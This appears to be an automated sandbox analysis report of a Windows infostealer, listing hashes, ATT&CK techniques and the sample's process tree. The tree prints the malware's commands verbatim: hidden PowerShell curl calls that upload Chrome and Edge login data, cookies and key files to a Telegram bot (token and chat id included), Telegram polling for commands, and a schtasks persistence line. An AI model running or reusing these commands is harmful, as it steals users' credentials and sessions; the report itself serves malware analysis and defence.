c88ab1e00c88f2ee32ec279eadf591ca9c77c358bc01755eace98deda83ab89e

Analysis

max time kernel
149s
max time network
102s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
23/04/2026, 16:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
NetSvc_0423_1947.exe
Size 700KB
Sample260423-va8hash19n
SHA256 c88ab1e00c88f2ee32ec279eadf591ca9c77c358bc01755eace98deda83ab89e
MD5 8c25666be6100db162bd4f8dce845a66
SHA1 7cb6ebbf9a370f003b42ffefad08db76ab8dc8c4
SHA512 98ad7b4f1c5f176ae155a76a1ad71eea47aac2201cc6005993450325015df78307715a8ac8f43121a927b38ca3ab859202aa0686a0138de6ec2d9d7f57ba4845
SSDEEP 12288:aEW4SVtacxez48pBuOz2eg6kmNnXegvuLr6f5udwpA1WAIHqcRN4:qUcopBjgPmNnXxmwKu74
TLSH
T1FDE4AD06A22400F9E5668DFDC9463B46DE62FC570760D6CB03A36EA63E235909FF9713
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1856	powershell.exe
4700	powershell.exe
4664	powershell.exe
2744	powershell.exe
3436	powershell.exe
2272	powershell.exe
1588	powershell.exe
1152	powershell.exe
3212	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4180	net_manager.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1360	schtasks.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3212	powershell.exe
1588	powershell.exe
2744	powershell.exe
1856	powershell.exe
1152	powershell.exe
4700	powershell.exe
3436	powershell.exe
4664	powershell.exe
3436	powershell.exe
4664	powershell.exe
2744	powershell.exe
1152	powershell.exe
1588	powershell.exe
4700	powershell.exe
3212	powershell.exe
1856	powershell.exe
2272	powershell.exe
2272	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	3212	powershell.exe
Token: SeDebugPrivilege	1588	powershell.exe
Token: SeDebugPrivilege	2744	powershell.exe
Token: SeDebugPrivilege	1856	powershell.exe
Token: SeDebugPrivilege	1152	powershell.exe
Token: SeDebugPrivilege	4700	powershell.exe
Token: SeDebugPrivilege	3436	powershell.exe
Token: SeDebugPrivilege	4664	powershell.exe
Token: SeDebugPrivilege	2272	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2096 wrote to memory of 3212	2096	NetSvc_0423_1947.exe	80
PID 2096 wrote to memory of 4700	2096	NetSvc_0423_1947.exe	81
PID 2096 wrote to memory of 1856	2096	NetSvc_0423_1947.exe	82
PID 2096 wrote to memory of 1588	2096	NetSvc_0423_1947.exe	84
PID 2096 wrote to memory of 1152	2096	NetSvc_0423_1947.exe	85
PID 2096 wrote to memory of 4664	2096	NetSvc_0423_1947.exe	86
PID 2096 wrote to memory of 3436	2096	NetSvc_0423_1947.exe	87
PID 2096 wrote to memory of 2744	2096	NetSvc_0423_1947.exe	88
PID 2744 wrote to memory of 3668	2744	powershell.exe	96
PID 3212 wrote to memory of 3268	3212	powershell.exe	97
PID 4700 wrote to memory of 3412	4700	powershell.exe	98
PID 1152 wrote to memory of 1568	1152	powershell.exe	99
PID 4664 wrote to memory of 4648	4664	powershell.exe	100
PID 3436 wrote to memory of 4284	3436	powershell.exe	101
PID 1588 wrote to memory of 5076	1588	powershell.exe	102
PID 1856 wrote to memory of 2280	1856	powershell.exe	103
PID 2096 wrote to memory of 1360	2096	NetSvc_0423_1947.exe	104
PID 2096 wrote to memory of 2272	2096	NetSvc_0423_1947.exe	108
PID 2272 wrote to memory of 836	2272	powershell.exe	110

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\NetSvc_0423_1947.exe
"C:\Users\Admin\AppData\Local\Temp\NetSvc_0423_1947.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -W Hidden -C "curl.exe -k -s -X POST https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendMessage -d chat_id=7159337795 -d text='âœ… *Service Started*\nNode: JTAOFTKV\nIdentity: Admin'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3212
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -k -s -X POST https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendMessage -d chat_id=7159337795 -d "text=âœ… *Service Started*\nNode: JTAOFTKV\nIdentity: Admin"
    3⤵
    PID:3268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -W Hidden -C "curl.exe -k -F chat_id=7159337795 -F document=@'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State' -F caption='S1_GC' https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4700
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -k -F chat_id=7159337795 -F "document=@C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State" -F caption=S1_GC https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument
    3⤵
    PID:3412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -W Hidden -C "curl.exe -k -F chat_id=7159337795 -F document=@'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data' -F caption='S2_GC' https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1856
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -k -F chat_id=7159337795 -F "document=@C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" -F caption=S2_GC https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument
    3⤵
    PID:2280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -W Hidden -C "curl.exe -k -F chat_id=7159337795 -F document=@'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies' -F caption='S3_GC' https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1588
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -k -F chat_id=7159337795 -F "document=@C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" -F caption=S3_GC https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument
    3⤵
    PID:5076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -W Hidden -C "curl.exe -k -F chat_id=7159337795 -F document=@'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State' -F caption='S1_ME' https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1152
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -k -F chat_id=7159337795 -F "document=@C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State" -F caption=S1_ME https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument
    3⤵
    PID:1568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -W Hidden -C "curl.exe -k -F chat_id=7159337795 -F document=@'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data' -F caption='S2_ME' https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4664
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -k -F chat_id=7159337795 -F "document=@C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" -F caption=S2_ME https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument
    3⤵
    PID:4648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -W Hidden -C "curl.exe -k -F chat_id=7159337795 -F document=@'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies' -F caption='S3_ME' https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3436
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -k -F chat_id=7159337795 -F "document=@C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" -F caption=S3_ME https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument
    3⤵
    PID:4284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -W Hidden -C "curl.exe -k -s 'https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/getUpdates?offset=-1&limit=1' -o 'C:\Users\Admin\AppData\Local\Temp\ws_32.tmp'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -k -s https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/getUpdates?offset=-1&limit=1 -o C:\Users\Admin\AppData\Local\Temp\ws_32.tmp
    3⤵
    PID:3668
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /tn "WinNetManager" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\net_manager.exe" /sc onlogon /rl highest
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -W Hidden -C "curl.exe -k -s 'https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/getUpdates?offset=-1&limit=1' -o 'C:\Users\Admin\AppData\Local\Temp\ws_32.tmp'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2272
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -k -s https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/getUpdates?offset=-1&limit=1 -o C:\Users\Admin\AppData\Local\Temp\ws_32.tmp
    3⤵
    PID:836

C:\Users\Admin\AppData\Roaming\Microsoft\Network\net_manager.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\net_manager.exe
1⤵
- Executes dropped EXE
PID:4180

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
TLSH
T19651CE323375B1D889163F47192C5AC463BF8355FA94AF4CB698620ED92741B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
MD5 5caad758326454b5788ec35315c4c304
SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 62ed8ef2250f9f744852cb67df0286c80f94e26aed646989b76e5b78f2f1f0d0
MD5 0ff7e1af4cc86e108eef582452b35523
SHA1 c2ccf2811d56c3a3a58dced2b07f95076c6b5b96
SHA512 374675fd36cd8bc38acaec44d4cc855b85feece548d99616496d498e61e943fd695fec7c57550a58a32455e8b21b41bafa18cd1dadac69676fff1de1a56da937
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_g43bgwqw.yn0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g43bgwqw.yn0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

ws_32.tmp

Path C:\Users\Admin\AppData\Local\Temp\ws_32.tmp
Size 56B
SHA256 a0a1e0f24b392c6da875c10977d169497a47f669b7e671e62330e125a56721fb
MD5 d948d5845276032d39194409db9ad97b
SHA1 475fe4e71224df85d494e34e0cb8ed799afcdb0d
SHA512 3e538a78d85dc32eb47db705c97d627ed8851f6dd87904e2e39aa1d5357cdeaea2a7746fc2ccddbde9bcbcab66ddcceff4ab5cf8db169c49e0f81c592104c67f
TLSH
T122900244098ED56744DA11605935954855B756B8641964404D95611D56421EA58F240A
MD5 SHA1 SHA512 TLSH

Submit Download

net_manager.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Network\net_manager.exe
Size 700KB
SHA256 c88ab1e00c88f2ee32ec279eadf591ca9c77c358bc01755eace98deda83ab89e
MD5 8c25666be6100db162bd4f8dce845a66
SHA1 7cb6ebbf9a370f003b42ffefad08db76ab8dc8c4
SHA512 98ad7b4f1c5f176ae155a76a1ad71eea47aac2201cc6005993450325015df78307715a8ac8f43121a927b38ca3ab859202aa0686a0138de6ec2d9d7f57ba4845
SSDEEP 12288:aEW4SVtacxez48pBuOz2eg6kmNnXegvuLr6f5udwpA1WAIHqcRN4:qUcopBjgPmNnXxmwKu74
TLSH
T1FDE4AD06A22400F9E5668DFDC9463B46DE62FC570760D6CB03A36EA63E235909FF9713
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1152-56-0x0000022A0BD60000-0x0000022A0BD72000-memory.dmp

Download

memory/1152-55-0x0000022A0BC50000-0x0000022A0BC5C000-memory.dmp

Download

memory/1568-51-0x00000278A6300000-0x00000278A630C000-memory.dmp

Download

memory/1588-78-0x0000025CFA2F0000-0x0000025CFA2FC000-memory.dmp

Download

memory/1588-81-0x0000025CFA8A0000-0x0000025CFA8B2000-memory.dmp

Download

memory/1856-68-0x000001D3ED2F0000-0x000001D3ED2FC000-memory.dmp

Download

memory/1856-69-0x000001D3ED3C0000-0x000001D3ED3D2000-memory.dmp

Download

memory/2272-103-0x000001A830B10000-0x000001A830B1C000-memory.dmp

Download

memory/2272-104-0x000001A849220000-0x000001A849232000-memory.dmp

Download

memory/2280-62-0x000001BEA84F0000-0x000001BEA84FC000-memory.dmp

Download

memory/2744-60-0x000001DAA9470000-0x000001DAA947C000-memory.dmp

Download

memory/2744-61-0x000001DAAAC90000-0x000001DAAACA2000-memory.dmp

Download

memory/3212-87-0x0000020BEBCB0000-0x0000020BEBCC0000-memory.dmp

Download

memory/3212-89-0x0000020BEB960000-0x0000020BEB96C000-memory.dmp

Download

memory/3212-25-0x0000020BEBC20000-0x0000020BEBC42000-memory.dmp

Download

memory/3212-1-0x0000020BEBCB0000-0x0000020BEBCC0000-memory.dmp

Download

memory/3212-113-0x0000020BEB960000-0x0000020BEB96C000-memory.dmp

Download

memory/3212-90-0x0000020BEBA10000-0x0000020BEBA22000-memory.dmp

Download

memory/3212-88-0x0000020BEBCB0000-0x0000020BEBCC0000-memory.dmp

Download

memory/3212-0-0x0000020BEBCB0000-0x0000020BEBCC0000-memory.dmp

Download

memory/3412-93-0x0000017FFFB80000-0x0000017FFFB8C000-memory.dmp

Download

memory/3412-110-0x0000017FFFB80000-0x0000017FFFB8C000-memory.dmp

Download

memory/3436-79-0x000001D8801E0000-0x000001D8801EC000-memory.dmp

Download

memory/3436-80-0x000001D8803A0000-0x000001D8803B2000-memory.dmp

Download

memory/4284-72-0x0000021005630000-0x000002100563C000-memory.dmp

Download

memory/4648-63-0x000001D98DD80000-0x000001D98DD8C000-memory.dmp

Download

memory/4664-70-0x000001DA90330000-0x000001DA9033C000-memory.dmp

Download

memory/4664-71-0x000001DA903D0000-0x000001DA903E2000-memory.dmp

Download

memory/4700-91-0x000002255C450000-0x000002255C45C000-memory.dmp

Download

memory/4700-92-0x000002255C950000-0x000002255C962000-memory.dmp

Download

memory/4700-117-0x000002255C450000-0x000002255C45C000-memory.dmp

Download

memory/5076-73-0x0000028F54C20000-0x0000028F54C2C000-memory.dmp

Download